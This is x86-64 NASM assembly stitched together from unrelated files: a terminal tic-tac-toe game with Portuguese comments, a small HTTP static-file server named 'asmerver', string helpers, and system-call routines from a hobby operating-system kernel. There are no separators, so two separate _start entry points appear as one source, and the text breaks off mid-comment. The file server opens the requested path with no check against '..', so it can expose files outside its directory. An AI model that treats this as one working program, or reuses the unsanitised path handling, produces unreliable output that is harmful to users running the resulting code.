clear_screen_ASCII_escape db 27,"[H",27,"[2J" ; <ESC> [H <ESC> [2J
cs_size equ $-clear_screen_ASCII_escape
section .text
global _start
_start:
nop
main_loop:
call clear_screen
mov rsi, game_start_message
mov rdx, gsm_size
call print
mov rsi, new_line
mov rdx, nl_size
call print
mov rsi, player_message
mov rdx, pm_size
call print
mov rsi, player
mov rdx, p_size
call print
mov rsi, new_line
mov rdx, nl_size
call print
mov rsi, game_draw
mov rdx, gd_size
call print
mov rsi, new_line
mov rdx, nl_size
call print
mov rsi, type_message
mov rdx, tm_size
call print
.repeat_read:
call read_keyboard ; Vamos ler a posição que o usuário vai passar
cmp rax, 0
je .repeat_read
mov al, [key]
sub al, 48 ; 48 equivale a "0" em ASCII, eu faço essa subtração porque eu quero converter ASCII para inteiro
call update_draw
call check
cmp byte[win_flag], 1
je game_over
call change_player
jmp main_loop
change_player:
xor byte[player], 1 ; Tipo um xor swap :)
ret
print:
mov rax, 1
mov rdi, 1
syscall
ret
read_keyboard:
mov rax, 0
mov rdi, 0
mov rsi, key
mov rdx, 1
syscall
cmp byte[key], 0x0A
jz read_end
mov rdi, 0
mov rsi, garbage
mov rdx, 1
flush_loop:
mov rax, 0
syscall
cmp byte[garbage], 0x0A
jz read_end
jmp flush_loop
read_end:
ret
clear_screen:
mov rsi, clear_screen_ASCII_escape
mov rdx, cs_size
call print
ret
update_draw:
cmp rax, 1
je first_pos
cmp rax, 2
je second_pos
cmp rax, 3
je third_pos
cmp rax, 4
je fourth_pos
cmp rax, 5
je fifith_pos
cmp rax, 6
je sixth_pos
cmp rax, 7
je seventh_pos
cmp rax, 8
je eighth_pos
cmp rax, 9
je nineth_pos
jmp end_update
first_pos:
mov rax, 0
jmp continue_update
second_pos:
mov rax, 2
jmp continue_update
third_pos:
mov rax, 4
jmp continue_update
fourth_pos:
mov rax, 6
jmp continue_update
fifith_pos:
mov rax, 8
jmp continue_update
sixth_pos:
mov rax, 10
jmp continue_update
seventh_pos:
mov rax, 12
jmp continue_update
eighth_pos:
mov rax, 14
jmp continue_update
nineth_pos:
mov rax, 16
jmp continue_update
continue_update:
lea rbx, [game_draw + rax]
mov rsi, player
cmp byte[rsi], "0"
je draw_x
cmp byte[rsi], "1"
je draw_o
draw_x:
mov cl, "x"
jmp update
draw_o:
mov cl, "o"
jmp update
update:
mov [rbx], cl
end_update:
ret
check:
call check_line
ret
check_line:
mov rcx, 0
check_line_loop:
cmp rcx, 0
je first_line
cmp rcx, 1
je second_line
cmp rcx, 2
je third_line
call check_column
ret
first_line:
mov rsi, 0
jmp do_check_line
second_line:
mov rsi, 6
jmp do_check_line
third_line:
mov rsi, 12
jmp do_check_line
do_check_line:
inc rcx
lea rbx, [game_draw + rsi]
mov al, [ebx]
cmp al, "_"
je check_line_loop
add rsi, 2
lea rbx, [game_draw + rsi]
cmp al, [rbx]
jne check_line_loop
add rsi, 2
lea rbx, [game_draw + rsi]
cmp al, [rbx]
jne check_line_loop
mov byte[win_flag], 1
ret
check_column:
mov rcx, 0
check_colum_loop:
cmp rcx, 0
je first_column
cmp rcx, 1
je second_column
cmp rcx, 2
je third_column
call check_diagonal
ret
first_column:
mov rsi, 0
jmp do_check_column
second_column:
mov rsi, 2
jmp do_check_column
third_column:
mov rsi, 4
jmp do_check_column
do_check_column:
inc rcx
lea rbx, [game_draw + rsi]
mov al, [rbx]
cmp al, "_"
je check_colum_loop
add rsi, 6
lea rbx, [game_draw + rsi]
cmp al, [rbx]
jne check_colum_loop
add rsi, 6
lea rbx, [game_draw + rsi]
cmp al, [rbx]
jne check_colum_loop
mov byte[win_flag], 1
ret
check_diagonal:
mov rcx, 0
check_diagonal_loop:
cmp rcx, 0
je first_diagonal
cmp rcx, 1
je second_diagonal
ret
first_diagonal:
mov rsi, 0
mov rdx, 8 ; tamanho do pulo que vamos dar para o meio da diagonal
jmp do_check_diagonal
second_diagonal:
mov rsi, 4
mov rdx, 4
jmp do_check_diagonal
do_check_diagonal:
inc rcx
lea rbx, [game_draw + rsi]
mov al, [rbx]
cmp al, "_"
je check_diagonal_loop
add rsi, rdx
lea rbx, [game_draw + rsi]
cmp al, [rbx]
jne check_diagonal_loop
add rsi, rdx
lea rbx, [game_draw + rsi]
cmp al, [rbx]
jne check_diagonal_loop
mov byte[win_flag], 1
ret
game_over:
call clear_screen
mov rsi, game_start_message
mov rdx, gsm_size
call print
mov rsi, new_line
mov rdx, nl_size
call print
mov rsi, game_draw
mov rdx, gd_size
call print
mov rsi, new_line
mov rdx, nl_size
call print
mov rsi, game_over_message
mov rdx, gom_size
call print
mov rsi, player_message
mov rdx, pm_size
call print
mov rsi, player
mov rdx, p_size
call print
mov rsi, win_message
mov rdx, wm_size
call print
jmp fim
fim:
mov rax, 60
mov rdi, 0
syscall
; void send_http_200(int contentfd, int sockfd)
; send http 200 response with with content from given file to given socket
send_http_200:
push rdi
push rsi
push r8
push r9
; get file size
mov r8, rdi ; save fd
mov r9, rsi ; save sockfd
; fd at rdi
mov rsi, file_stat ; pass *buf
call sys_fstat ; 0 on success
; error is unlikely
mov rax, [file_stat + stat.st_size]
mov [content_len], rax ; save content length
; allocate buffer for response
call current_heap_addr
push rax ; save current heap addr
mov rdi, [content_len] ; pass size
call alloc_response_buffer
pop rax ; get ptr to beginning of allocated buf
mov [response_buf_ptr], rax ; save response buffer pointer
; HACK Adding pad for using this buffer to construct response later
add rax, RESPONSE_HEADER_CAP
mov [content_buf_ptr], rax ; save content buffer pointer
; read content
mov rdi, r8 ; pass fd
mov rsi, rax ; pass *buf
mov rdx, [content_len] ; pass count
call read_file
; make response
mov rdi, [response_buf_ptr] ; pass *buf
mov rsi, [content_buf_ptr] ; pass *content
call construct_http_200 ; http 200 response
; send response
call slen ; calculate length of response
mov rdx, rax ; pass length
mov rsi, [response_buf_ptr] ; pass *message
mov rdi, r9 ; pass socket
call send
; free buffer
call sys_brk
pop r9
pop r8
pop rsi
pop rdi
ret
send_http_404:
push rsi
push rdx
; socket in rdi
mov rsi, http_404 ; pass message
mov rdx, http_404_len ; pass length
call send
pop rdx
pop rsi
ret
; void construct_http_200(char* buf, char* content)
; construct http 200 response in buf
construct_http_200:
push r8
push r9
mov r8, rdi ; save *buf
mov r9, rsi ; save *content
mov rsi, http_200
call strcat ; status
mov rsi, cont_length
call strcat ; content length label
mov rdi, r9 ; pass *content
call slen ; calculate length of content
mov rdi, rax ; pass num
mov rsi, content_len_buf ; pass *buf
call itoa ; convert content length to string
mov rdi, r8
mov rsi, content_len_buf
call strcat ; content length
mov rdi, r8
mov rsi, cr_lf
call strcat
call strcat ; cr_lf
mov rsi, r9
call strcat ; content
pop r9
pop r8
ret
; bool is_get_request(char* request)
; 1 if request is GET, 0 if not
is_get_request:
mov ax, 0 ; false
cmp byte[rdi+0], 'G'
jne .exit
cmp byte[rdi+1], 'E'
jne .exit
cmp byte[rdi+2], 'T'
jne .exit
mov ax, 1 ; true
.exit:
ret
; char* alloc_response_buffer(int size)
; allocate buffer for response body + head and get buffer's address
alloc_response_buffer:
push rdi
add rdi, RESPONSE_HEADER_CAP ; add header size
call mem_alloc ; new heap addr on success
cmp rax, 0
jge .exit
mov rdi, err_msg_alloc
jmp error ; exit with error
.exit:
pop rdi
ret
; HACK Places terminating zero at the end of resource path
; char* extract_resource_path(char* request)
; returns pointer to the resource path
extract_resource_path:
push rdi
add rdi, 5 ; skip "GET /"
mov rax, rdi ; save beginning
.loop:
cmp byte[rdi], ' ' ; check if space
je .place_zero
inc rdi ; next char
jmp .loop ; loop
.place_zero:
mov byte[rdi], 0x00
pop rdi
ret
SECTION .bss
response_buf_ptr resq 1
content_buf_ptr resq 1
content_len resq 1
content_len_buf resb 19
SECTION .rodata
http_200 db "HTTP/1.1 200 OK",0x0d,0x0a,0x00
http_200_len equ $ - http_200 - 1
http_404 db "HTTP/1.1 404 Not Found",0x0d,0x0a,0x00
http_404_len equ $ - http_404 - 1
; constants
%define BACKLOG 8
%define REQUEST_BUF_CAP 2048
%define RESPONSE_HEADER_CAP 2048
%include "http.asm"
%include "net.asm"
%include "os.asm"
%include "print.asm"
%include "string.asm"
%include "syscall.asm"
SECTION .text
global _start
_start:
; clear registers
xor rax, rax
xor rdi, rdi
xor rsi, rsi
xor rdx, rdx
handle_arguments:
pop r8 ; pop number of arguments
cmp r8, 3 ; check arguments count is good
je .get_arguments
mov rdi, help_msg ; print the help and exit otherwise
call println
jmp exit_failure
.get_arguments:
pop r8 ; discard binary name
pop rdi ; listening port
call atoi ; convert to integer
xchg ah, al ; change byte order to big endian
mov [list_sock_port], rax ; save listening port
pop rdi ; serving directory
.change_directory:
call sys_chdir ; 0 on success
cmp rax, 0
je .continue
mov rdi, err_msg_dir
jmp error ; exit with error
.continue:
create_socket:
mov rdi, AF_INET ; pass domain (0x02)
mov rsi, SOCK_STREAM ; pass type (0x01)
mov rdx, IPPROTO_TCP ; pass protocol (0x06)
call sys_socket ; list_sockfd in rax on success
; error info
cmp rax, 0
jge .continue
mov rdi, err_msg_socket
jmp error ; exit with error
.continue:
set_sock_opt:
mov [list_sock], rax ; save list_sockfd
mov rdi, rax ; pass socket
mov rsi, 0x01 ; pass level (SOL_SOCKET)
mov rdx, 0x02 ; pass option_name (SO_REUSEADDR)
mov r10, sock_addr ; pass option_value
mov r8, sockaddr_in_size ; pass option_len (size of sock_addr)
call sys_setsockopt ; 0 in rax on success
; error info
cmp rax, 0
je .continue
mov rdi, err_msg_socket_opt
jmp error ; exit with error
.continue:
bind:
mov rsi, [list_sock_port]
mov [sock_addr+sin_port], rsi ; set port
mov rdi, [list_sock] ; pass list_sockfd
mov rsi, sock_addr ; pass *addr
mov rdx, sockaddr_in_size ; pass addrlen (size of sock_addr)
call sys_bind ; 0 in rax on success
; error info
cmp rax, 0
je .continue
mov rdi, err_msg_bind
jmp error ; exit with error
.continue:
listen:
mov rdi, [list_sock] ; pass list_sockfd
mov rsi, BACKLOG ; pass backlog (max len of queue of pending conns)
call sys_listen ; 0 in rax on success
cmp rax, 0
je .continue
call sys_close ; close socket
mov rdi, err_msg_listen
jmp error ; exit with error
.continue:
accept:
mov rdi, [list_sock] ; pass list_sockfd
mov rsi, 0x00 ; pass addr (NULL)
mov rdx, 0x00 ; pass addrlen (size of sockaddr) (NULL)
call sys_accept ; accepted socket's fd in rax on success
cmp rax, 0
jge .continue
mov rdi, err_msg_accept
jmp error ; exit with error
.continue:
mov r12, rax ; save acc_sockfd
read_request:
mov rdi, r12 ; pass acc_sockfd
mov rsi, request_buf ; pass *buf
mov rdx, REQUEST_BUF_CAP ; pass count
call sys_read ; bytes read on success
cmp rax, 0
jge .continue
mov rdi, err_msg_read_req
jmp error ; exit with error
.continue:
check_request_is_get:
mov rdi, request_buf ; pass *request
call is_get_request
cmp rax, 0 ; if not GET then don't response
jz listen
get_file_path:
mov rdi, request_buf ; pass *request
call extract_resource_path
cmp byte[rax], 0 ; if standard file path (points at term zero)
jnz .continue
mov rax, index_file ; response with index
.continue:
open_response_file:
mov rdi, rax ; pass *pathname
mov rsi, 0 ; O_RDONLY
call sys_open ; fd on success
; error info
cmp rax, 0
jl response_404 ; response 404 if can't open file
response_200:
mov rdi, rax ; pass contentfd
mov rsi, r12 ; pass sockfd
call send_http_200
jmp close_socket
response_404:
mov rdi, r12 ; pass sockfd
call send_http_404
close_socket:
mov rdi, r12 ; pass fd
call sys_close ; close socket
cmp rax, 0
je .continue
mov rdi, err_msg_close_sock
jmp error ; exit with error
.continue:
jmp accept ; accept loop
error:
call eprintln
jmp exit_failure
; exit program and restore resources
exit_success:
mov rdi, 0x00 ; EXIT_SUCCESS
call sys_exit
; exit program with error
exit_failure:
mov rdi, 0x01 ; EXIT_FAILURE
call sys_exit
SECTION .bss
list_sock resq 1
list_sock_port resw 1
request_buf resb REQUEST_BUF_CAP
request_buf_len resq 1
file_stat resb 64
SECTION .data
sock_addr: istruc sockaddr_in
at sin_family, dw AF_INET
at sin_port, dw 0
at sin_addr, dd INADDR_ANY
at sin_zero, dd 0x0000000000000000
iend
SECTION .rodata
help_msg db "asmerver 1.0",0x0a,"nuid64 <lvkuzvesov@proton.me>",0x0a,"Usage: ",0x0a,0x09,"asmerver <port> <served directory>",0x00
err_msg_alloc db "Memory allocating completed with error",0x00
err_msg_dir db "Can't open served directory",0x00
err_msg_read db "An error occured during reading a file",0x00
err_msg_read_req db "An error occured during reading a request",0x00
err_msg_socket db "Failed to create socket",0x00
err_msg_socket_opt db "Failed to set socket options",0x00
err_msg_bind db "Can't bind address",0x00
err_msg_listen db "Socket don't want to listen",0x00
err_msg_accept db "Connection not accepted",0x00
err_msg_send db "An error occured during sending response",0x00
err_msg_close_sock db "Failed to close socket",0x0
index_file db "index.html",0x00
cont_length db "Content-Length: ",0x00
cont_length_len equ $ - cont_length - 1
cr_lf db 0x0d,0x0a,0x00
SECTION .text
; void strcat(char* dest, char* src)
; concatenates src to dest
strcat:
push rdi
push rsi
push rax
.find_end:
mov al, byte [rdi] ; load char
inc rdi ; increase ptr
cmp al, 0x00 ; until it reached terminating zero
jne .find_end
dec rdi ; place ptr back to terminating zero
cld ; clear decimal for lodsb
.place_char:
lodsb ; load char
mov [rdi], al ; place char
inc rdi ; increase ptr
cmp al, 0x00 ; until it reached terminating zero
jne .place_char
pop rax
pop rsi
pop rdi
ret
; int slen(char* str)
; calculates length of string
slen:
push rdi
push rsi
push rcx
cld ; clear decimal for lodsb
mov rcx, -1 ; take termintating zero into account
mov rsi, rdi ; move ptr to rsi for lodsb
.nextchar:
inc rcx ; increase counter
lodsb ; load char
cmp al, 0x00 ; until it reached terminating zero
jne .nextchar
mov rax, rcx ; return value
pop rcx
pop rsi
pop rdi
ret
; void itoa(int num, char* buf)
; int to char* conversion
itoa:
push rdi
push rsi
push rdx
push rax
push rbx
.start_converting:
call calc_digits_count ; get number of digits
mov rcx, rax
mov al, 0x00
mov [rsi+rcx], al ; place terminating zero at the end
dec rcx ; move pointer left
mov rax, rdi ; place number for dividing
mov rbx, 10
.loop:
xor rdx, rdx ; avoiding error
div rbx ; get remainder of dividing by ten
add rdx, 0x30 ; converting to ASCII digit's symbol
mov [rsi+rcx], dl ; place char
dec rcx ; move pointer left
cmp rax, 9
ja .loop ; until rax is zero
.last_digit:
add rax, 0x30 ; last digit
mov [rsi+rcx], al
pop rbx
pop rax
pop rdx
pop rsi
pop rdi
ret
; int atoi(char* buf)
; char* to int conversion
atoi:
push rsi
xor rax, rax
.loop:
movzx rsi, byte [rdi]
test rsi, rsi ; check for \0
je .done
cmp rsi, 48 ; check symbol is digit
jl .error
cmp rsi, 57
jg .error
sub rsi, 48 ; convert to decimal
imul rax, 10
add rax, rsi
inc rdi
jmp .loop
.error:
mov rax, -1 ; -1 on error
.done:
pop rsi
ret
; int calc_digits_count(int num)
; calculates count of digits in number
calc_digits_count:
push rdi
push rdx
push rbx
push rcx
mov rax, rdi ; move number
mov rbx, 10
xor rcx, rcx ; zeroing counter
.loop:
inc rcx
cmp rax, 10
jb .exit
xor rdx, rdx ; avoiding error
div rbx ; dividing by base until ratio is zero
jmp .loop
.exit:
mov rax, rcx ; move result in rax
pop rcx
pop rbx
pop rdx
pop rdi
ret
;===============================================================================
;Copyright (C) Andrzej Adamczyk (at https://blackdev.org/). All rights reserved.
;===============================================================================
; information for linker
section .rodata
; align routine
align 0x08, db 0x00
kernel_service_list:
dq kernel_service_exit
dq kernel_service_framebuffer
dq kernel_service_memory_alloc
dq kernel_service_memory_release
dq kernel_service_task_pid
dq kernel_service_driver_mouse
dq kernel_service_storage_read
dq kernel_service_exec
dq kernel_service_ipc_send
dq kernel_service_ipc_receive
dq kernel_service_memory_share
dq driver_ps2_keyboard_key_read
dq kernel_service_task_status
dq kernel_stream_out
dq kernel_stream_in
dq kernel_service_serial_char
dq kernel_service_serial_string
dq kernel_service_serial_value
dq driver_rtc_time
dq kernel_stream_set
dq kernel_stream_get
dq kernel_service_sleep
dq kernel_service_uptime
dq kernel_stream_out_value
dq kernel_service_task
dq kernel_service_memory
dq kernel_service_thread
kernel_service_list_end:
; information for linker
section .text
;-------------------------------------------------------------------------------
; in:
; rdi - pointer to Memory descriptor
kernel_service_memory:
; preserve original registers
push rax
push r8
; kernel environment variables/rountines base addrrax
mov r8, qword [kernel_environment_base_address]
; return information about
; all available pages
mov rax, qword [r8 + KERNEL_STRUCTURE.page_total]
mov qword [rdi + LIB_SYS_STRUCTURE_MEMORY.total], rax
; and currently free
mov rax, qword [r8 + KERNEL_STRUCTURE.page_available]
mov qword [rdi + LIB_SYS_STRUCTURE_MEMORY.available], rax
; restore original registers
pop r8
pop rax
; return from routine
ret
;-------------------------------------------------------------------------------
; void
kernel_service_exit:
; retrieve pointer to current task descriptor
call kernel_task_active
; mark task as closed and not active
or word [r9 + KERNEL_TASK_STRUCTURE.flags], KERNEL_TASK_FLAG_closed
and word [r9 + KERNEL_TASK_STRUCTURE.flags], ~KERNEL_TASK_FLAG_active
; release rest of AP time
int 0x20
;-------------------------------------------------------------------------------
; in:
; rdi - sleep amount in microtime
kernel_service_sleep:
; preserve original registers
push rdi
push r8
push r9
; kernel environment variables/rountines base address
mov r8, qword [kernel_environment_base_address]
; retrieve pointer to current task descriptor
call kernel_task_active
; current uptime
add rdi, qword [r8 + KERNEL_STRUCTURE.hpet_microtime]
; go to sleep for N ticks
mov qword [r9 + KERNEL_TASK_STRUCTURE.sleep], rdi
; release the remaining CPU time
int 0x20
; restore original registers
pop r9
pop r8
pop rdi
; return from routine
ret
;-------------------------------------------------------------------------------
; out:
; rax - current uptime in microtime
kernel_service_uptime:
; return current microtime index
mov rax, qword [kernel_environment_base_address]
mov rax, qword [rax + KERNEL_STRUCTURE.hpet_microtime]
; return from routine
ret
;-------------------------------------------------------------------------------
; in:
; rdi - pointer to mouse descriptor
kernel_service_driver_mouse:
; preserve original registers
push rax
push r8
; kernel environment variables/rountines base address
mov r8, qword [kernel_environment_base_address]
; share information about mouse location and status
mov ax, word [r8 + KERNEL_STRUCTURE.driver_ps2_mouse_x]
mov word [rdi + LIB_SYS_STRUCTURE_MOUSE.x], ax
mov ax, word [r8 + KERNEL_STRUCTURE.driver_ps2_mouse_y]
mov word [rdi + LIB_SYS_STRUCTURE_MOUSE.y], ax
mov al, byte [r8 + KERNEL_STRUCTURE.driver_ps2_mouse_status]
mov byte [rdi + LIB_SYS_STRUCTURE_MOUSE.status], al
; restore original registers
pop r8
pop rax
; return from routine
ret
;-------------------------------------------------------------------------------
; in:
; rdx - stream flags
; rsi - length of file name/path
; rdi - pointer to file name/path
; out:
; rax - process ID
kernel_service_exec:
; preserve original registers
push rcx
push rsi
push rdi
push rbp
push r8
; kernel environment variables/rountines base address
mov r8, qword [kernel_environment_base_address]
; reorganize registers
mov rcx, rsi ; length of string
mov rsi, rdx ; pointer to string
xchg rsi, rdi ; stream flags
; execute file from path
call kernel_exec
; restore original registers
pop r8
pop rbp
pop rdi
pop rsi
pop rcx
; return from routine
ret
;-------------------------------------------------------------------------------
; in:
; rdi - pointer to framebuffer descriptor
kernel_service_framebuffer:
; preserve original registers
push rax
push rcx
push rdx
push rsi
push r8
push r9
push r11
; kernel environment variables/rountines base address
mov r8, qword [kernel_environment_base_address]
; return properties of framebuffer
; width in pixels
mov ax, word [r8 + KERNEL_STRUCTURE.framebuffer_width_pixel]
mov word [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.width_pixel], ax
; height in pixels
mov ax, word [r8 + KERNEL_STRUCTURE.framebuffer_height_pixel]
mov word [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.height_pixel], ax
; scanline in Bytes
mov eax, dword [r8 + KERNEL_STRUCTURE.framebuffer_scanline_byte]
mov dword [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.scanline_byte], eax
; framebuffer manager
mov rax, qword [r8 + KERNEL_STRUCTURE.framebuffer_pid]
; framebuffer manager exist?
test rax, rax
jnz .return ; yes
; retrieve pointer to current task descriptor
call kernel_task_active
; calculate size of framebuffer space
mov eax, dword [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.scanline_byte]
movzx ecx, word [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.height_pixel]
mul rcx
; convert to pages
add rax, ~STATIC_PAGE_mask
shr rax, STATIC_PAGE_SIZE_shift
; share framebuffer memory space with process
xor ecx, ecx ; no framebuffer manager, if error on below function
xchg rcx, rax ; length of shared space in pages
mov rsi, qword [r8 + KERNEL_STRUCTURE.framebuffer_base_address]
mov r11, qword [r9 + KERNEL_TASK_STRUCTURE.cr3]
call kernel_memory_share
jc .return ; no enough memory?
; return pointer to shared memory of framebuffer
mov qword [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.base_address], rax
; new framebuffer manager
mov rax, qword [r9 + KERNEL_TASK_STRUCTURE.pid]
mov qword [r8 + KERNEL_STRUCTURE.framebuffer_pid], rax
.return:
; inform about framebuffer manager
mov qword [rdi + LIB_SYS_STRUCTURE_FRAMEBUFFER.pid], rax
; restore original registers
pop r11
pop r9
pop r8
pop rsi
pop rdx
pop rcx
pop rax
; return from routine
ret
;-------------------------------------------------------------------------------
; in:
; rdi - ID of target process
; rsi - pointer to message data
kernel_service_ipc_send:
; preserve original registers
push rax
push rcx
push rsi
push rdi
push r8
; kernel environment variables/rountines base address
mov r8, qword [kernel_environment_base_address]
.lock:
; request an exclusive access
mov cl, LOCK
lock xchg byte [r8 + KERNEL_STRUCTURE.ipc_semaphore], cl
; assigned?
test cl, cl
jnz .lock ; no
.restart:
; amount of entries
mov rcx, KERNEL_IPC_limit
; set pointer to first message
mov rdx, qword [r8 + KERNEL_STRUCTURE.ipc_base_address]
.loop:
; free entry?
mov rax, qword [r8 + KERNEL_STRUCTURE.hpet_microtime]
cmp qword [rdx + LIB_SYS_STRUCTURE_IPC.ttl], rax
jbe .found ; yes
; next entry from list
add rdx, LIB_SYS_STRUCTURE_IPC.SIZE
; end of message list?
dec rcx
jz .restart ; yes
; no
jmp .loop
.found:
; set message time out
add rax, KERNEL_IPC_timeout
mov qword [rdx + LIB_SYS_STRUCTURE_IPC.ttl], rax
; set message source
call kernel_task_pid
mov qword [rdx + LIB_SYS_STRUCTURE_IPC.source], rax
; set message target
mov qword [rdx + LIB_SYS_STRUCTURE_IPC.target], rdi
; load data into message
mov ecx, LIB_SYS_IPC_DATA_size_byte
mov rdi, rdx
add rdi, LIB_SYS_STRUCTURE_IPC.data
rep movsb
.end:
; release access
mov byte [r8 + KERNEL_STRUCTURE.ipc_semaphore], UNLOCK
; restore original registers
pop r8
pop rdi
pop rsi
pop rcx
pop rax
; return from routine
ret
;-------------------------------------------------------------------------------
; in:
; rdi - pointer to message descriptor
; sil - message type
; out:
; TRUE if message retrieved
kernel_service_ipc_receive:
; preserve original registers
push rbx
push rcx
push rdi
push r8
push rsi
; kernel environment variables/rountines base address
mov r8, qword [kernel_environment_base_address]
.lock:
; request an exclusive access
mov cl, LOCK
lock xchg byte [r8 + KERNEL_STRUCTURE.ipc_semaphore], cl
; assigned?
test cl, cl
jnz .lock ; no
; retrieve ID of current process
call kernel_task_pid
; amount of entries
mov rcx, KERNEL_IPC_limit
; set pointer to first message
mov rsi, qword [r8 + KERNEL_STRUCTURE.ipc_base_address]
.loop:
; message alive?
mov rbx, qword [r8 + KERNEL_STRUCTURE.hpet_microtime]
cmp qword [rsi + LIB_SYS_STRUCTURE_IPC.ttl], rbx
ja .check ; yes
.next:
; next entry from list?
add rsi, LIB_SYS_STRUCTURE_IPC.SIZE
dec rcx
jnz .loop ; yes
; no message for us
xor eax, eax
; no
jmp .end
.check:
; message type selected?
cmp byte [rsp], LIB_SYS_IPC_TYPE_ANY
je .any ; no
; requested message type?
mov bl, byte [rsp]
cmp bl, byte [rsi + LIB_SYS_STRUCTURE_IPC.data + LIB_SYS_STRUCTURE_IPC_DEFAULT.type]
jne .next ; no
.any:
; message for us?
cmp qword [rsi + LIB_SYS_STRUCTURE_IPC.target], rax
jne .next ; no
; preserve original register
push rsi
; load message to process descriptor
mov ecx, LIB_SYS_STRUCTURE_IPC.SIZE
rep movsb
; restore original register
pop rsi
; release entry
mov qword [rsi + LIB_SYS_STRUCTURE_IPC.ttl], EMPTY
; message transferred
mov eax, TRUE
.end:
; release access
mov byte [r8 + KERNEL_STRUCTURE.ipc_semaphore], UNLOCK
; restore original registers
pop rsi
pop r8
pop rdi
pop rcx
pop rbx
; return from routine
ret
;-------------------------------------------------------------------------------
; in:
; rdi - length of space in Bytes
; out:
; rax - pointer to allocated space
; or EMPTY if no enough memory
kernel_service_memory_alloc:
; preserve original registers
push rbx
push rcx
push rsi
push rdi
push r8
push r9
push r11
; convert size to pages (align up to page boundaries)
add rdi, ~STATIC_PAGE_mask
shr rdi, STATIC_PAGE_SIZE_shift
; retrieve pointer to current task descriptor
call kernel_task_active
; set pointer of process paging array
mov r11, qword [r9 + KERNEL_TASK_STRUCTURE.cr3]
; aquire memory space from process memory map
mov r9, qword [r9 + KERNEL_TASK_STRUCTURE.memory_map]
mov rcx, rdi ; number of pages
call kernel_memory_acquire
jc .error ; no enough memory
; convert first page number to logical address
shl rdi, STATIC_PAGE_SIZE_shift
; assign pages to allocated memory in process space
mov rax, rdi
mov bx, KERNEL_PAGE_FLAG_present | KERNEL_PAGE_FLAG_write | KERNEL_PAGE_FLAG_user | KERNEL_PAGE_FLAG_process
call kernel_page_alloc
jnc .allocated ; space allocated
; take back modifications
mov rsi, rcx
call kernel_service_memory_release
.error:
; no enough memory
xor eax, eax
; end
jmp .end
.allocated:
; retrieve pointer to current task descriptor
call kernel_task_active
; process memory usage
add qword [r9 + KERNEL_TASK_STRUCTURE.page], rcx
.end:
; restore original registers
pop r11
pop r9
pop r8
pop rdi
pop rsi
pop rcx
pop rbx
; return from routine
ret
;-------------------------------------------------------------------------------
; in:
; rdi - pointer to allocated space
; rsi - length of space in Bytes
kernel_service_memory_release:
; preserve original registers
push rax
push rcx
push rsi
push rdi
push r9
push r11
; retrieve pointer to current task descriptor
call kernel_task_active
; convert bytes to pages
add rsi, ~STATIC_PAGE_mask
shr rsi, STATIC_PAGE_SIZE_shift
; pointer and counter at place
mov rcx, rsi
mov rsi, rdi
.loop:
; delete first physical page from logical address
mov r11, qword [r9 + KERNEL_TASK_STRUCTURE.cr3]
call kernel_page_remove
; page removed?
test rax, rax
jnz .release ; yes
; convert to page number
shr rsi, STATIC_PAGE_SIZE_shift
; continue
jmp .next
.release:
; release page inside kernels binary memory map
mov rdi, rax
or rdi, qword [kernel_page_mirror]
call kernel_memory_release_page
; release page inside process binary memory map
shr rsi, STATIC_PAGE_SIZE_shift
mov rdi, qword [r9 + KERNEL_TASK_STRUCTURE.memory_map]
bts qword [rdi], rsi
; process memory usage
dec qword [r9 + KERNEL_TASK_STRUCTURE.page]
.next:
; next page from space
inc rsi
shl rsi, STATIC_PAGE_SIZE_shift
; another page?
dec rcx
jnz .loop ; yes
; restore original registers
pop r11
pop r9
pop rdi
pop rsi
pop rcx
pop rax
; return from routine
ret
;-------------------------------------------------------------------------------
; in:
; rdi - pointer to source memory space
; rsi - length of space in Bytes
; rdx - target process ID
; out:
; rax - pointer to shared memory between processes
kernel_service_memory_share:
; preserve original registers
push rbx
push rcx
push rsi
push rdi
push r9
push r11
; convert Bytes to pages
mov rcx, rsi
add rcx, ~STATIC_PAGE_mask
shr rcx, STATIC_PAGE_SIZE_shift
; retrieve task paging structure pointer
call kernel_task_by_id
mov r11, qword [rbx + KERNEL_TASK_STRUCTURE.cr3]
; set source pointer in place
mov rsi, rdi
; acquire memory space from target process
mov r9, qword [rbx + KERNEL_TASK_STRUCTURE.memory_map]
call kernel_memory_acquire
; convert page number to offset
shl rdi, STATIC_PAGE_SIZE_shift
; connect memory space of parent process with child
mov rax, rdi
mov bx, KERNEL_PAGE_FLAG_present | KERNEL_PAGE_FLAG_write | KERNEL_PAGE_FLAG_user | KERNEL_PAGE_FLAG_process | KERNEL_PAGE_FLAG_shared
call kernel_page_clang
; restore original registers
pop r11
pop r9
pop rdi
pop rsi
pop rcx
pop rbx
; return from routine
ret
;-------------------------------------------------------------------------------
; out:
; rax - PID of current task
kernel_service_task_pid:
; preserve original registers
push r9
; retrieve pointer to current task descriptor
call kernel_task_active
; set pointer of process paging array
mov rax, qword [r9 + KERNEL_TASK_STRUCTURE.pid]
; restore original registers
pop r9
; return from routine
ret
;-------------------------------------------------------------------------------
; in:
; rdi - process ID
; out:
; ax - task status
kernel_service_task_status:
; preserve original registers
push rbx
push rdx
; retrieve pointer to current task descriptor
mov rdx, rdi
call kernel_task_by_id
; by default not found
xor ax, ax
; not found?
test rbx, rbx
jz .error ; yep
; set pointer of process paging array
mov ax, word [rbx + KERNEL_TASK_STRUCTURE.flags]
.error:
; restore original registers
pop rdx
pop rbx
; return from routine
ret
;-------------------------------------------------------------------------------
; in:
; rdi - ASCII character
kernel_service_serial_char:
; preserve original register
push rax
; send character to serial
mov al, dil
call driver_serial_char
; restore original register
pop rax
; return from routine
ret
;-------------------------------------------------------------------------------
; in:
; rdi - pointer to string
; rsi - length of string in Bytes
kernel_service_serial_string:
; preserve original registers
push rcx
push rsi
; send string to serial
mov rcx, rsi
mov rsi, rdi
call driver_serial_string
; restore original registers
pop rsi
pop rcx
; return from routine
ret
;-------------------------------------------------------------------------------
; in:
; rdi - value
; sil - base
; rdx - prefix length
; cl - TRUE/FALSE signed value?
kernel_service_serial_value:
; preserve original registers
push rax
push rbx
push rcx
push rdx
; send value to serial
mov rax, rdi
movzx ebx, sil
xchg rcx, rdx
call driver_serial_value
; restore original registers
pop rdx
pop rcx
pop rbx
pop rax
; return from routine
ret
;-------------------------------------------------------------------------------
; in:
; rdi - pointer to file descriptor
